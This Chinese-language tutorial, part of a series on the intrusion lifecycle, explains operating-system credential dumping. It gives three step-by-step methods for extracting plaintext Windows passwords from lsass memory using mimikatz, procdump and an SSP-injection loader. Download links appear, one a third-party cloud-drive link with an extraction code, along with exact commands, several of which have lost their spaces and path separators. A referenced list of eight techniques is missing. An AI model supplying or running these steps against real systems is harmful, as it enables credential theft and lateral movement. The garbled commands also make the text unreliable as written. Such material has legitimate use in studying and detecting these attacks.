《入侵生命周期细分实践指南系列》：操作系统凭证转储攻击

Linux系统和Windows系统都会将操作系统的登录凭证存储在本地。Linux系统的话可以在/etc/passwd和/etc/shadow两个文件中直接读取到登录凭证。而Windows系统的话需要依靠lsass.exe程序，lsass.exe是一个系统进程，用于微软Windows系统的安全机制。它用于本地安全和登陆策略。lsass.exe会随着系统启动而自动启动,可以从lsass.exe进程内存中读取到Windows系统的登录凭证。

从攻击者的角度来分析，利用操作系统凭证转储技术，攻击者可能会尝试从操作系统和软件中转储凭据以获取帐户登录名和凭据材料，通常以哈希或明文密码的形式，然后可以使用凭证执行横向移动并访问受限制的信息。

根据攻击者的入侵流程和操作手段，利用操作系统凭证转储技术进行攻击在入侵过程的攻击执行阶段，可以帮助攻击者在入侵成功后执行恶意操作，从入侵生命周期角度分析，进程注入攻击可作用于传播阶段、攻击和利用阶段、持久化阶段。在传播阶段，攻击者通过获取操作系统凭证，进行横向爆破以获取使用相同凭证的主机控制权限。

从攻击行为链条的上下文来看，针对操作系统凭证转储的行为链条输入输出如下：

根据不同攻击思路，攻击者利用操作系统凭证转储进行攻击的手法通常有8种：

上述8中攻击手法中最常用的LSASSMemory，LSASS Memory中有三种常用的凭证转储技术。

（1）mimikatz读取lsass进程内存解密获取明文密码

该方法是直接将mimikatz放置在受害机器上读取lsass进程内存解密获取明文密码。

下载mimikatz并放置到目标机器上

https://github.com/gentilkiwi/mimikatz/releases

在目标机器上以管理员身份打开cmd并运行以下命令

mimikatz.exe privilege::debugsekurlsa::logonpasswords exit > pass.txt

在当前目录下会生成pass.txt文件，其中包含获取到的明文账户密码。

（2）procdump dump lsass进程内存

该方式不直接利用mimikatz获取lsass进程中的凭据，而是先在受害主机上使用procdump dump lsass进程中的内存，再将dump下来的内存文件直接使用mimikatz进行解密获取明文密码，或者拷贝到攻击者本机上再使用mimikatz进行解密获取明文密码。

下载procdump并放置到目标机器上

https://download.sysinternals.com/files/Procdump.zip

在目标机器上以管理员身份打开cmd并运行以下命令

procdump64.exe -accepteula -ma lsass.exelsass.dmp

将lsass.dmp拷贝到攻击者本机后，在本机打开cmd并运行以下命令

mimikatz.exe "sekurlsa::minidumplsass.dmp" "sekurlsa::logonPasswords full" exit > pass.txt

在当前目录下会生成pass.txt文件，其中包含获取到的明文账户密码。

（3）RPC加载SSPdump lsass进程内存

利用lsass自身绝对可以读自己内存的特点，通过RPC调用添加一个SSP dll，加载dll到lsass进程然后dump内存。

下载ssp注入工具并放置到目标机器上

https://pan.baidu.com/s/1KbCTVGQtVZUwpJmGguI6Vw提取码: dqk4

在目标机器上以管理员身份打开cmd并运行以下命令

loader.exeC:Userswin7Desktoploaderssp.dll

在C:WindowsTemp目录下会生成一个temp.bin文件

将temp.bin拷贝到攻击者本机后，在本机打开cmd并运行以下命令

mimikatz.exe "sekurlsa::minidumptemp.bin" "sekurlsa::logonPasswords full" exit > pass.txt

在当前目录下会生成pass.txt文件，其中包含获取到的明文账户密码